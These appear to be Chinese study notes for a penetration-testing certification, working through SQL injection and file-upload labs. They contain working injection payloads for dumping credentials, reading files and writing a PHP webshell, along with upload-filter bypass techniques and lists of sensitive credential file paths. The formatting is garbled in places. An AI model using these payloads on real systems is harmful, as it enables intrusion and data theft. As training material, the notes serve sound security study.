[toc]
安全体系化课程
start
==CISP-PTE 体系解读==
HTTP 协议
HTTP 状态码
状态码 | 已定义范围 | 分类 |
---|---|---|
1XX | 100-101 | 信息提示 |
2XX | 200-206 | 请求成功200、201 |
3XX | 300-307 | 请求重定向301 |
4XX | 400-417 | 客户端错误403、404、405 |
5XX | 500-505 | 服务端错误500 |
- 200 执行成功;201 文件创建成功
- 403 禁止访问;405 请求错误
http 状态码获取方法
curl
python
import urllib2 urllib2.urlopen('<URL>').code
* eg: 输入单引号,发现 有代码 :1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
### HTTP 协议响应头信息
#### HTTP 响应头的含义
#### 常见的响应头
* Response 响应头字段

##### 响应头的作用
#### HTTP 响应头的类型
* 响应头的名称
* 响应头的格式
### HTTP 协议中的URL
#### 定义
* url 包含:
* 协议
* 用户名:密码
* 主机 - 子域名.域名.顶级域名(或IP)
* 端口号
* 目录/文件名.文件后缀
* 参数=值标志
* 锚部分
* 格式:协议://用户名:密码@子域名.域名.顶级域名:端口号/目录/文件名.文件后缀?参数=值#锚部分
* http://www.xxx.com:8080/news/index.php?boardID=5&ID=24618&page=1#r_70723
* URL 编码,只有字母数字和一些特殊符号不用编码
* 同源策略
* 只有 协议、主机、端口 三部分相同,才能算是同源。
* 跨源访问:
* Jsonp(GET请求)
* Websocket
* CROS 跨域资源共享,允许发送任何请求
### 渗透测试及术语介绍
exp:exploit 利用,利用系统漏洞进行攻击的动作
poc:prove of concept 概念验证(漏洞验证)
payload: 有效荷载,真正有漏洞利用的代码

# ==SQL 注入==
## 理论
### 什么是 SQL 注入
* SQL 注入是服务端==未严格校验==客户端发送的数据,而导致服务端 SQL 语句被==恶意修改==并==成功执行==的行为。
### 为什么会有 SQL 注入
* 代码对 SQL 语句的参数过滤不严格
* 未启用框架的安全配置,例如:PHP 的 magic_quotes_gpc
* 未使用框架安全的查询方法
* 测试接口未删除
* 未启用防火墙
* 未使用其他的安全防护设备
* 任何和数据库产生交互的地方就有可能产生注入
## 实战
## ==整形注入==
* lesson-2
* 通过 id 的不同会返回不同的用户
* 如果 id 没有严格的过滤,就会产生注入
* 步骤:
1. 判断是否有注入(判断是否严格校验)-- 第一要素
1. 可控参数的改变能否影响页面的显示结果。
2. 输入的 SQL 语句是否能报错 - 通过数据库的报错,看到数据库的一些语句痕迹(假设:select username, password from user where id = ?') - 是 单/双 引号 包裹会报错吗?
`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1`
* ```
``limit 0,1` 最外层的单引号是包裹,出现了 `limit0,1 的提示,换成 “ 后就变c判断注入是 整形注入 或者 单引号注入 * 在不同的地方添加 # 来判断到底是哪个类型的注入 * 既然上边报了‘ limit 0,试着在前面加 # 注释,看看报不报错 3. 输入的 SQL 语句是否不报错 - 我们的语句能够成功闭合 加个 #,调整位置直至不报错1
''LIMIT 0,1'
什么类型的注入
语句是否能够被恶意修改 – 第二个要素
添加个条件,如
and 0
一个真一个假,发现查不出来了,说明条件可以被修改是否能够成功的执行 – 第三个要素
获取我们想要的数据
数据库 - 表 - 字段 - 值
mysql 里有三个重要的表
==information_schema== 里 有 ==SCHEMATA== 里有一个 ==SCHEMA_NAME==的属性,记录了所有 数据库 的 名字
第二个是 ==tables==,记录了数据库中所有的表,有==table_schema==,==table_name==
第三个是 ==COLUMNS==,其中==TABLE_SCHEMA==,==TABLE_NAME==,==COLUMN_NAME==比较重要,分别是数据库名,表名,字段名
利用 mysql 的表明查询信息
1
http://www.xxx.com/sqli/?id=4 union select schema_name from information_schema.schemata
但是我们拼接表的时候,两个表的列数要一样,要不只显示部分的,所以还要先查一下一共有多少列
http://www.xxx.com/sqli/?id=4 union select 1,2,3 %23
* 这样发现不显示 user(),只显示了第二个占位和第三个占位的数据,位置变一下就行,换一下 user()的位置1
2
3
4
5
6
* `%23`是`#`的 url 编码,用1,2,。。。进行占位,直至不报错,发现是3列
* 然后我们可以查用户名 user()属性,由于默认只查第一个匹配的,先把左边的条件变成一个不可能的 如 id = 123456,这样就可以查右边的条件了。MySQL 中 user()函数可以查询当前数据库的用户名的名字
```html
http://www.xxx.com/sqli/?id=123456 union select user(),2,3 %23* 发现可以显示用户名了 * 顺着思路,找一下所有数据库的名字。利用属性 `schema_name`和表名`information_schema.schemata`查出所有数据库的名字1
http://www.xxx.com/sqli/?id=123456 union select 1,user(),3 %23
* 默认查出来是一条,使用`group_concat()`拼接输出所有的数据库名1
http://www.xxx.com/sqli/?id=123456 union select 1,schema_name,3 from information_schema.schemata %23
* 然后找当前数据库1
http://www.xxx.com/sqli/?id=123456 union select 1,group_concat(schema_name),3 from information_schema.schemata %23
* 发现是 `security`数据库 * 然后找有哪些表1
http://www.xxx.com/sqli/?id=123456 union select 1,database(),3
* users 表信息一般比较敏感,先查这个。查列名1
http://www.xxx.com/sqli/?id=123456 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23
* 这样就可以查询table_name=users的字段内容了1
http://127.0.0.1/sqli-labs/Less-2/?id=123456 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
* 内容比较乱,使用 concat_ws 拼接 username 和 password1
http://www.xxx.com/sqli/?id=123456 union select 1,group_concat(username),group_concat(password) from security.users%23
1
http://www.xxx.com/sqli/?id=123456 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23
==POST 注入==
Lesson-11
在输入框的 username 中输入单引号:
1
''' and password=''
发现 username 是被一个单引号包裹的,顺着这个思路,利用它来尝试渗透。
```
select 1 from users where username=’’ or 1 %23’ and password = ?1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
* 先用单引号包裹,这是一个空条件;加一个条件 or 1 变为真
* 该后台有处理,需要将 %23 换为 #
* 使用 hackbar 的 `post data`也可以
* 打开 元素 - 找到 form ,发现提交了两个参数,一个是 uname;另一个是passwd
* 这样就可以在 hackbar 里填入`uname=1&passwd=1`,发现有效果了
* 使用 burpsuite 代理也可以。在客户端请求服务器之前,拦截处理后再发送给服务器。服务器处理完成发给bp再发给客户端。
* Proxy - Intercept - Intercept is on/off 开始/停止抓包
* HTTP history 记录了经过 bp 的所有的历史记录
* WebSockets history 抓取到在服务器和客户端之间的 websocket 信息
* Options 对抓包的细节做修改,比如说端口等等。
* 然后在浏览器中开启代理。
* forward 代表把请求交给 服务器;drop 是直接丢掉。
* 在 bp 中的 Raw 中显示信息的 username后加一个单引号,点击 `forward`。这样就可以看到错误信息了。(记得在 options 里把 response 的选项点了)

* 再点一次 forward 就到浏览器之中了
* 加入`%23`闭合单引号,点2次forward,没登录但是没报错
* 然后在 username 中加入 `order by %23`查询列数信息......这样比较麻烦,在空白处 点击 `send to repeater`,进行重复发包
## ==字符注入(单引号、双引号、括号)==
* Lesson-1
* 在使用`select 1,2,3,xx...`推导列数时,可以使用`order by`来快速推导
* `order by xx`是用来以xx为基准来排序的语法
* `?id =1 order by 100`,利用2分法,从 100,50,25 逐个试,直至不报错。
* 上一次用了一个 id=1234556 不存在的值,也可以直接 id = 1 and 0 来保证不存在。
* Lesson-1
* 整形 id = '1'
* 改变参数可以变化
* 输入可报错
* ```sql
?id = 21' --+–+ 也是一种注释、
发现会报错
```sql
near ‘’21’’ limit 0,1’ at line 11
2
3
4
5
6
7
8
9
10
11
* order by 找列数 , 是 3 列
* 然后看 table_name.....
* Lesson-4
* 改变数字可以变,单引号没反应,双引号报错
* ```sql
near '"2"“)limit 0,1' at line 1有一个小括号需要闭合,试着加在双引号后
```sql
id = 2”) order by 1 %231
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
* 发现成功出现不报错的数据
## ==报错注入==
* union select 无法直接获取内容,所以要用到报错注入
```markdown
函数解释:
extractvalue():从目标 XML 中返回包含所查询的字符串
EXTRACTVALUE(XML_document, XPath_string);
第一个参数:XML_document 是 String 的格式,为 XML 文档对象的名称,文中为 Doc
第二个参数: XPath_String (Xpath 格式的字符串)
concat: 返回结果为链接参数产生的字符串
UPDATEXML(XML_document, XPath_string, new_value);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value, String 格式,替换查找到的符合条件的数据Lesson-11
在找到注入类型(单引号),order by 找到列数(2),后
1 | uname= ' union select 1,extractvalue(1,(select version)) %23&passwd=123456&submit=Submit |
- 报错
.73-community
不全,加一个 飘号(星号之类的如果可以也行,一般用飘号,不会被处理掉)
uname= ' union select 1,extractvalue(1,concat(0x7e,(select version))) %23&passwd=123456&submit=Submit
- 然后就可以在这个函数中查询表,数据库,列名了。如果报错说列数太多,可以用
limit 0,1
.其中第一个数字是起始位置,第二个参数是偏移量。如1,1 表示第一行第一列
1 | uname= ' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1))) %23&passwd=123456&submit=Submit |
- 使用 updateXML 函数也原理一样
1 | uname= ' union select 1,updatexml(1,(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1) %23&passwd=123456&submit=Submit |
==双注入==
- 加单引号往往出现不了想要的数据,加双引号
- order by 最好是先 order by 1 , 这样的话可以检查该系统是否屏蔽order by 语句
- 然后发现是2列。
1 | uname=admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())%23&passwd=123456&submit=Submit |
- 执行2次后报错
- 插入主键时重复插入,所以会报错,拼接了version,所以报出了版本号
- group by 按照什么来分组,count(1) 统计行数
- COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)
- group by a, 以 a 为主键,在待查表一个一个统计,如果没有就在结果表增加一行;如果有个数就加 1.
- rand()是0,1 ,乘 2 就是(1,2),然后floor是取整数部分,保证是0,1.
- 查询执行一次rand,添加再执行一次rand。这样查询2次以上就可能产生一样的主键(0/1)
1 | uname=admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema = database() limit 0,1))%23&passwd=123456&submit=Submit |
- 这样就使用了两个select,所以叫双注入;limit 限制长度,以免不显示。
==布尔盲注==
[目录](#CISP-PTE 体系解读)
lesson-5
页面当正常登录时,显示的是一种界面,但不报错;登录失败时,显示的另一种界面,同样没有报错
1 | xxx.com/?id = 1' or (select substr(table_name,1,1) from information_schema.tables where table_schema = database() limit 0,1) = 'd' %23 |
- substr(哪一个的字母,起始量从1开始,偏移量) 利用这个函数一个个的判断字符,试出来全部的名称
- 这种太慢,让字符变为ascii码,方便使用二分法
1 | xxx.com/?id = -1' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > 109 %23 |
然后利用python(或者网上查表),找出ascii码对应的字母,chr<109>=m
这样还是很慢,利用bp抓包
send to Intruder 用于重放攻击
positons 是包
sniper 是设置一个变量
payloads 设置为 number,从1到128,
然后 Intruder - attack,很快得到结果,会显示字符长度,Length,有一个是923,其他都是939(正确的可能字符数只有一组),找到对应的payloads 值就知道对应字母了
这样依然很慢,每次都要在 position 处修改包的参数
Battering ram 是两个参数,参数同步变化,如1,1;2,2.。。
pich fork 是 两个字典分别对应数据
Clusterbomb 是所有可能性抓包
1 | xxx.com/?id = -1' or (select ascii(substr(table_name,$1$,1)) from information_schema.tables where table_schema = database() limit 0,1) = $109$ %23 |
- 将对应参数处,点击 add 加上$ 符号,表示可变
- 第一个先设置 5(不知道多长,先试一下)
- 第二个设置 1-128
- 然后就可以在结果中查看对应未知的payload值
==Cookie注入==
任何与数据库产生交互的地方都可能产生注入
cookie 保存在客户端,session保存在服务端
和其他注入类似,使用bp抓包
Lesson-20
在 Request - Cookie 处进行修改,类似前面所做的注入。先看是什么类型的,发现是单引号;然后看列数为3;之后改变假条件 and 0 让他报错,后面加 union
1
Cookie: uname=admin' and 0 union select 1,group_concat(username),3 from information_schema.columns where table_schema = database() and table_name='users' %23
==HTTP-Refrer 注入==
Lesson-19
利用 bp Repeater 抓包,Referer 中加单引号,报错
发现有括号,多加一个括号尝试闭合,发现依然报错
```sq;
near ‘“‘,’10.2.7.177’)’ at line 11
2
3
4
5
6
* 发现有逗号,select 中无逗号,可能是 update insert
```sql
insert into xxx(a,b,c)values('','','')
UPDATE `student` SET `studentname`='万进' WHERE studentno=1867;按照select 加‘ # 去闭合,insert 可能添加的地方在第一个、第二个(不是最后一个),数量会不一样,还是会报错
1 | insert into xxx(a,b,c) values('')#','','') |
- 换一个思路,加’ and ‘
1 | insert into xxx(a,b,c) values('' and ''','') |
- 确实不报错,然后加上报错函数,把信息报出来
1 | insert into xxx(a,b,c) values('' and extractvalue(1,(0x7e,@@version)) and '','') |
==SQL 注入读写文件==
读文件
Lesson-1
load_file(file_name): 读取文件并返回该文件的内容作为一个字符串,使用条件:
- 必须有权限读取并且文件必须完全可读
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径(绝对路径)
- 欲读取文件必须小于 max_allowed_packet
判断是单引号注入;%23闭合不报错;order by 列数;
读文件
1 | id=1' union select 1,2,load_file("index.php") %23 |
- 发现读不了
1 | id=1' union select 1,2,load_file("c://boot.ini") %23 |
- 这个可以读,但是没有有用信息
- 先获取角度路径:1. 经验 默认路径; 2. 报错
1 | http://xxx.com/sqli/Less-1/index.php?id=1' union select 1,2,load_file("c:\\phpStudyB\\WWW\\sqki\\Less-1\\index.php") %23 |
- 读出了源码的内容(要写全,比如默认的index,php; 要转义 \)
- 很乱,转换为 16 进制
1 | http://xxx.com/sqli/Less-1/index.php?id=1' union select 1,2,hex(load_file("c:\\phpStudyB\\WWW\\sqki\\Less-1\\index.php")) %23 |
- 然后转换,比如用bp decoder
写文件
- Less-7
- 加单引号,发现是单引号报错;order by 没有信息,根据经验加括号,加2个,发现不报错了;再order by 发现是3列
- 使用 into outfile 写文件(绝对路径)
1 | http://xxx.com/sqli/Less-1/index.php?id=1' union select 1,2,3 into out_file("c:\\phpStudyB\\WWW\\sqki\\Less-1\\a.txt") %23 |
- 尝试写一句话木马
1 | http://xxx.com/sqli/Less-1/index.php?id=1' union select 1,2,“<?php @eval($_POST[a]);?>” into out_file("c:\\phpStudyB\\WWW\\sqki\\Less-1\\a.php") %23 |
- 打开此php发现写入成功
- 用菜刀连一下
SQL 绕过注入技巧
==绕过注释符过滤==
- Lesson-23
- 先使用 单引号,发现报错;加 %23 闭合发现没反应,加双引号,a来判断程序本身的单引号位置
1 | id=1?' %23 a |
- 报错如下
'"a' limit 0,1'
- 换成 –+ 也一样
- 唯独少了 注释符
- 换一个思路,后台语句应该是
1 | select * from xx where id=''='' limit 0,1 |
- 输入后发现确实不报错
1 | ?id=1'=' |
- 想办法得到有用的内容
1 | ?id=1' or (extractvalue(1,concat(0x7e,version()))) or' |
- 这样就输出了版本信息,将这部分改为要查询的信息即可
==绕过 and/or 字符注入==
- Lesson-23
- 除了上节课将的 ‘or 绕过,还可以使用 union select
1 | ?id=1' union select 1,2,' |
- 通过改变占位符数量判断列数
1 | ?id=1' union select 1,2,version()' |
后面类似
Lesson-25
加单引号,发现是单引号注入;%23 也能闭合正确显示。用 order by 判断列数的时候,发现 只剩der by
发现 or and 都被过滤了
两种过滤方式:1. 替换为空;2. 大小写
更改大小写发现不行;使用 || 符号(&&)代替,发现可以
1 | ?id=1' || (extractvalue(1,concat(0x7e,version()))) %23 |
==绕过空格过滤==
- Lesson-26(空格 or 注释)
- 加注释的话,发现还报错,两边加a发现报错内容是 aa,#被注释
1 | ?id=1' a %23 a |
' or (1) or '
依然报错,换成||
后报错消失- 然后使用报错注入的思路
1 | ?id=1' || (select extractvalue(1,concat(0x7e,version()))) || ' |
- 但是报错
selectextractvalue does not exist
, 发现空格被过滤了 - 空格过滤的方法
1 | 1. %09 Tab (水平) |
- 测试一下,发现只有 %a0 可以
1 | ?id=1' || (select%a0extractvalue(1,concat(0x7e,version()))) || ' |
==内联注释绕过==
Lesson-27
单引号;%23 闭合不了;使用or可闭合,但不能发现问题,使用 ‘ or 1=1 or’,发现报错,空格被过滤;加%a0,发现可以闭合
order by 也报错,使用 union select 判断列,发现1列可以,2列报错
select '
输入
id=1' %a0union%a0select%a0'
表示一列不报错;有问题,加双引号到union的空格前,发现报错信息没有select,被过滤了。union首字母大写,绕过大小写的过滤
还可以再union里面加union,select里面加select 如 seselectlect,此题不行
或者用内联注释
/*! */
, 此题也不行
==宽字节注入==
- 上节课的问题,代码过滤了2次select,所以我们多输入一次就可以注入了
selselselectectect
- Lesson-32
- 数据库编码是GBK,可以表示中文,2个字符代表一个汉字
- 比如 83cd 就表示一个汉字
- 编码范围:8140 - FEFE(除了xx7F)
- gb2312 也可以表示
- 单引号,发现被反斜杠编译了
- 尝试把反斜杠去掉,315c27 是
1\'
的编码 - 输入
?id=1%81' %23
,发现可以闭合(不加#,报错,发现可以去掉\)
1 | ?id=-1%81' union select 1,version(),3 %23 |
==过滤函数绕过(综合)==
SQLC/sql-9
页面时登录框,输入内容后,使用bp 抓包;利用 Repeater 重复发包
这个报错会显示 username或者password 错误;但是不会具体显示,尝试用布尔注入
' or '
和' '
都显示非法字符,已经被系统过滤了利用 Intruder 不断尝试,看看哪些符号被过滤了
利用bp把admin变为变量,选择 simple list,把准备好的list导入进去-start attack。
知道哪些被过滤,尝试用非过滤得字符,使第一个条件为真,报password error 错误。
比如
' = '
,发现可以;找一个位置作为插入点
1 | uname='=(1)='&passwd=admin |
- 接下来绕过过滤。首先是空格过滤,可以加(),发现可以
1 | uname='=(select(1))='&passwd=admin |
- 此题有一个tips 转换一下是一个sql语句,发现表名是admin,列名 uname passwd
- 先判断位数
1 | uname='=(select(1)from(admin)where(length(passwd)>0))='&passwd=admin |
- 还是利用bp-intruder看一下,但是这个长度一样判断不出来,只能手工注入,发现是32
- 现在开始一位位尝试,首先看一下基本的语句
1 | select 1 from admin where ascii(substr(passwd,1,1))>0 |
- 由于空格和逗号都被过滤了,所以我们采取substr(str from pos)的语法
MySQL 字符串截取SUBSTRING()函数_w3cschool
SUBSTRING(str,pos) , SUBSTRING(str FROM pos) SUBSTRING(str,pos,len) , SUBSTRING(str FROM pos FOR len)
不带有len 参数的格式从字符串str返回一个子字符串,起始于位置 pos。带有len参数的格式从字符串str返回一个长度同len字符相同的子字符串,起始于位置 pos。 使用 FROM的格式为标准 SQL 语法。也可能对pos使用一个负值。假若这样,则子字符串的位置起始于字符串结尾的pos 字符,而不是字符串的开头位置。在以下格式的函数中可以对pos 使用一个负值。
- 判断最后一位(md5 16/32位 a-z 0-9)
1 | select(1)from(admin)where(ascii(substr((passwd)from(32)))>0 |
- 发现最后一位是102,是f
- 判断倒数第二位,不能用ascill码了,因为是2位。利用bp,把af的a作为变量,simple list 填上0-9.a-z
1 | select(1)from(admin)where(substr((passwd)from(31))='af' |
实际应该用sqlmap、脚本跑,目前可以手工看bp 的response,箭头下点就行。
最后用md5 破解,网上找一个工具如 cmd5
==SQL 注入防御==
- 代码层
- 黑名单
- 白名单
- 敏感字符过滤
- 使用框架安全查询
- 规范输出
- 配置层
- 开启GPC
- 使用UTF-8
- 物理层
- WAF
- 数据库审计
- 云防护
- IPS(入侵防御系统)
文件上传漏洞、代码审计
==文件上传/下载漏洞原理及危害==
- 文件上传漏洞介绍
- 文件上传漏洞的原因
- 上传漏洞的危害
- 文件上传合法性监测方法
文件上传漏洞20种绕过方法
- 前端 JS 绕过
- MIME 类型绕过
- 后缀名大小写绕过/php4、php5
- 00截断
- 覆盖.htaccess
- windows文件流特性绕过
- 双写文件名绕过
- 条件竞争
文件下载漏洞
- 由于业务需求,若对用户查看或下载的文件不做限制,则恶意用户就能查看或下载任意敏感文件,这就是文件查看与下载漏洞
- 下载服务器任意文件,如脚本代码、服务及系统配置文件等可用到的代码进一步代码审计,得到更多可利用的漏洞
通过文件下载漏洞读取服务端文件的方法
查找漏洞点
http://www.margin.com/dvwa/vulnerabilities/fi/?page=file3.php
把文件更改为要查看的文件
http://www.margin.com/dvwa/vulnerabilities/fi/?page=/etc/passwd
返回
如何查找任意文件下载漏洞
- 查找传入文件名的参数:
- 导入文件等参数,要是直接输入文件名,就有可能有注入点
- 注意如下几个参数名:
- RealPath, FilePath, filepath, Path, path, inputFile, url, urls, Lang , dis, data, read file, filep
src, menu, META-INF, WEB-INF
- RealPath, FilePath, filepath, Path, path, inputFile, url, urls, Lang , dis, data, read file, filep
- 代码中如何查找漏洞:
- PHP 为例,有如下等代码,就有可能存在任意文件下载漏洞
- readfile
- fopen
- file_get_contents
- PHP 为例,有如下等代码,就有可能存在任意文件下载漏洞
- 查找传入文件名的参数:
Windows 敏感文件路径
- Windows:
- C:\boot.ini // 查看系统版本
- C:\Windows\System32\inetsrv\MetaBase.xml // IIS配置文件
- C:\Windows\repair\sam // 存储系统出自安装的密码
- C:\Program Files\mysql\my.ini // MySQL 配置
- C:\Program Files\mysql\data\mysql\user.MYD // MySQL
- root C:\Windows\php.ini // php配置信息
- C:\Windows\my.ini // MySQL 配置信息
- Linux 敏感文件路径
- /root/.ssh/autho rized_keys
/root/. ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
letc/passwd
/etc/shadow
/etc/my.cnf
letc/httpd/conf/httpd.conf
Iroot/.bash_history
/root/.mysql_history
proc/self/fd/fd [0-9]*”(文件标识符)
/proc/mounts /porc/config.gz
- /root/.ssh/autho rized_keys
- Windows:
修复文件下载漏洞
- PHP 为例:
- 过滤 .(点),使用户在 url 中不能回溯上级目录
- 正则严格判断用户输入参数的格式
- php.ini 配置 open_basedir 限定文件访问范围
- PHP 为例:
==前台JS验证==
lesson-1
upload 环境放到 Apache 子目录可能会报错,需要做一个虚拟主机
Apache - conf - httpd.conf
在29行取消注释;在 Virtual hosts 处做修改,取消注释
对 httpd-vhosts.conf 做修改
NameVirtualHost: 80 表示端口
<virtualHost *:80> serverAdmin webmaster@dummy-host.asdf DoucumentRoot "C:\phpStudyB\WWW\sqli" //目录,不同的域名,不要有同一个父子级的关系 ServerName margin.sqli.com //域名 ErrorLog "logs/dummy-host.asdf-error.log" CustomLog "logs/dummy-host.asdf-access.log" </VirtualHost>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
* 先尝试上传一句话木马,有弹框显示格式不对
* 使用bp抓包,发现没抓到,f12 看XHR 看AJAX 请求
* 通常 xhr 里会有请求,但是没有
* 联想到是前端验证,看源代码,onsubmit 有一个 checkFile() 方法
* 利用bp把返回包中的前端校验代码删掉、修改就可以上传。
* 直接return true;
* 上传成功,使用菜刀连一下
## ==content-type==
[目录](#start)
* Lesson-2
* 利用bp抓包,在Content-Type: image/png
* 把路径复制到地址栏,没有报404,上传成功
* 使用菜刀连一下
## ==phtml绕过==
[目录](#start)
* Lesson-3
```markdown
ASP:asa/cer/cdx
ASPX:ashx/asmx/ascx
PHP:php4/php5/phtml
JSP:jspx/jspf
==覆盖.htaccess绕过==
Lesson-4
注意notepad 不要用tab 要用空格
apache 页面配置 允许访问页面 404等页面自定义 允许哪些客户访问 让某个文件以什么方式解析
```html
<FilesMatch “03.jpg”> //03.jpg 里面写的一句话木马,只是把后缀名改了setHandler application/x-httpd-php # 让它以php的方式解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
* 先传这个 .htaccess 再传假图片就可以了
* 这个方法和前边改 httpd.conf 的方法类似
* 在后台代码加上把上传文件名改为时间戳重命名就可以防御这个攻击
## ==大小写绕过==
[目录](#start)
* Lesson-5
* 抓包,看了源代码,黑名单形式,pHpXXX被过滤了,所以我们在bp里把后缀改一下,Php5 试一下,发现可以
* 代码里可以加一个大小写转换来避免;还有就是利用白名单的形式
## ==后缀加空格绕过==
[目录](#start)
* Lesson-6
* 看源代码,发现没有trim去前后空格的函数
* 可以在php后面加一个空格,windows会自动删除空格占位
## ==后缀加点绕过==
[目录](#start)
* Lesson-7
* 后缀名直接加点,利用win特性去绕过
## ==后缀加::$DATA绕过==
[目录](#start)
* Lesson-8
* backdoor.php 上传,利用bp抓包。在bp的filename处末尾加上::$DATA
* 这样就会把后面的内容当作文件流去处理(windows特性)
## ==后缀. .绕过==
[目录](#start)
* Lesson-9
* 就是后缀加`. .`即可
## ==双写绕过==
[目录](#start)
* Lesson-10
* 例如 php 替换为 pphphp。注意过滤后的后缀要还是php,不能写成 phphpp, 过滤后是hpp,解析不了。
## ==GET 00 截断==
[目录](#start)
* Lesson-11
* 先上传,bp看一下,有一个 save_path 参数,看一下它的路径可不可控
* 访问一下,发现上传成功(无404)
* 发现可控,试一下上传到文件上
* 如 ../upload/1.php
* 发现报错
* 加一个 %00
* ../upload/1.php%00
* 发现上传了
* 00 是16进制的00,操作系统读到00,就认为结束了
* 如果路径不可控,把filename 的后缀改为php%00。这种需要改2进制编码。在bp的HEX里,先把php 后面改成 + 号(什么都可以)。+号的十六进制码是2b,把2b改为00
## ==POST 00 截断==
[目录](#start)
* Lesson-12
* 改HEX即可。
* 路径处改为 xxx.php, filename ="xxx.jpg", hex 改成00
## ==图片马绕过==
[目录](#start)
* Lesson-13
* 后台会校验 前两位的字节码是多少
```markdown
常见文件头:
(1) .JPEG;.JPE;.JPG, "JPG Graphic File"
(2).gif, "GIF 89A“
(3).Zip, "Zip Compressed"
(4) .doc;.xls; .xlt; ppt;.apr, "MS Compound Document v1 or Lotus Approach APRfile"
JPEG (jpg), x¥: FFD8FF
PNG (png), x#*: 89504E47
GIF (gif), xs: 47494638
TIFF (tif), Xt: 49492A00
Windows Bitmap (bmp), XA*: 424D
CAD (dwg), x#*: 41433130
Adobe Photoshop (psd), xtk: 38425053
Rich Text Format (rtf), x#*: 785C727466
XML (xml), x#S: 3C3F786D6C
HTML (html), x#*: 68746D6C3E
Email [tho rough only] (eml), Xt: 44656C69766572792D646174653A
Outlook Express (dbx), x#*: CFAD12FEC5 FD746 F
Outlook (pst), X#*: 2142444E
MS Word/Excel (xls.or.doc), x#s: DOCF11E0
MS Access (mdb), X#*: 5374616E64617264204A
WordPerfect (wpd), x#*: FF575043
Adobe Acrobat (pdf), (#3: 255044462D312E
Quicken (qdf), x#*: AC9EBD8F
Windows ZIP Archivo Password (pwl), x#*: E3828596
ZIP Archive (zip), xt#*: 504B0304
RAR Archive (rar), xt+*: 52617221
Wave (wav), x#*: 57415645
AVI (avi), x*: 41564920
Real Audio (ram), Xt*: 2E7261FD
Real Med ia (rm), Xt*: 2E524D46
MPEG (mpg), X#*: 000001BA
MPEG (mpg), x+s*: 00000183
Quicktime
Windows Media (asf), x#: 3026B2758E66CF11
MIDI (mid), xt$*: 4D546864
(mov), X#*: 6D6 F6 F76==方法一==
上传,用bp抓包,在内容上方加上 GIF 89A,一次来标识此文件是 gif 文件来绕过
此题要使用文件包含漏洞,打开 ”文件包含漏洞“链接。
在地址栏写上
?file=./upload/xxxx.gif
(路径是点击上传后的 response 里回显的地址,文件包含漏洞只要这个文件里有木马语句就会运行,不用管后缀名是什么)然后就可以使用菜刀链接了
==方法二==
准备一个纯图片:webshell.png; 准备一个一句话木马:backdoor.php –
<?php @eval($_POST_[margin]);?>
使用 copy 命令拼接 2 个文件,可以使用
copy /?
来查看语句使用方法copy webshell.png /b + backdoor.php /a
使用这个文件去上传,使用bp抓包,得到返回的路径,拷贝此路径到地址栏,发现没有报404.最后用菜刀链接即可。
==图片马绕过2、3==
- Lesson-14
- 思路和13是一样的
- 获取文件名的方法有别
- Lesson-15
- 和 13、14 一样
- 开启了php_exif模块
==图像二次渲染绕过==
- Lesson-16
- imagecreatefromjpeg(), 这个函数会把图片信息和 php 木马信息分离开来
- 上传一个gif,得到两个gif(上传前,和渲染后的),使用
winhex
查看二个文件的差别,二进制信息 - 不同的地方是黑色,形同的地方室白色。在白色(相同的地方)插入一句话木马。再上传,木马上传成功。
- 复制图片地址,放到地址栏,使用菜刀链接。
==条件竞争绕过==
- Lesson-17
- 代码中有很多if函数,如果上传很多次,就要判断很多次
- 利用 python 不断上传一句话木马:
1 | impoort hackhttp |
- 抓包上传 backdoor.php 上传,把这个包的内容拷贝到字符串里;路径也加上
1 | impoort hackhttp |
- 再写一个请求的方法:
1 | impoort hackhttp |
- 菜刀连一下,参数cmd
==条件竞争加解析漏洞绕过==
- Lesson-18
- 回显目录是根目录、有解析漏洞(和17比)
- apache 解析的时候,是从后往前解析的,如果后缀为 php.aaa 先看aaa(后台允许上传这个),解析不了但竞争上传成功了;再看 php 就解析也成功了,这样就可以用菜刀连了
==00截断绕过==
- 上传抓包,把+号 2b 换成 00,发送
- 访问文件,没有404,菜刀连一下
==数组组合 Windows特性绕过==
- 上传,抓包,发现禁止上传这个文件类型
- 再包里改 Content-Type :image/jpg
- 看代码
- 代码中有一个读数组的过程,先读第一个,加个点,再读到倒数第一个数组
